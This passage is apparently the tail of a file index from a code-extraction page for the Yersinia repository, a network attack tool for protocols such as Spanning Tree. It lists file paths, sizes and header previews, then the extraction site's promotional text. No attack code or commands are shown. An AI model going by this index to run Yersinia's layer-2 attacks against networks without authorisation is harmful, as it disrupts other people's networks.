"chars": 47176,
"preview": "/* xstp.c\n * Implementation and attacks for Spanning Tree Protocol (Rapid and Multi)\n *\n * Yersinia\n * By David Barroso..."
},
{
"path": "src/xstp.h",
"chars": 11682,
"preview": "/* xstp.h\n * Definitions for Spanning Tree Protocol\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo..."
},
{
"path": "src/yersinia.c",
"chars": 22063,
"preview": "/* yersinia.c\n * Command line client and application main entry point\n *\n * Yersinia\n * By David Barroso <tomac@yersinia..."
},
{
"path": "src/yersinia.conf",
"chars": 3202,
"preview": "#\n# Yersinia configuration file example\n#\n# Please read the README and the man page before complaining\n\n# Global options..."
},
{
"path": "src/yersinia.h",
"chars": 2410,
"preview": "/* yersinia.h\n * Definitions for application main entry point and command line client\n *\n * Yersinia\n * By David Barroso..."
},
{
"path": "yersinia.8",
"chars": 12390,
"preview": ".\\\" Man page for Yersinia\n.\\\" =====================\n.\\\" Authors: Alfredo and David\n.\\\" \n.\\\" \n.\\\" \n.TH \"YERSINIA\" \"8\" \"$D..."
}
]
About this extraction
This page contains the full source code of the tomac/yersinia GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 83 files (1.2 MB), approximately 346.7k tokens, and a symbol index with 1299 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.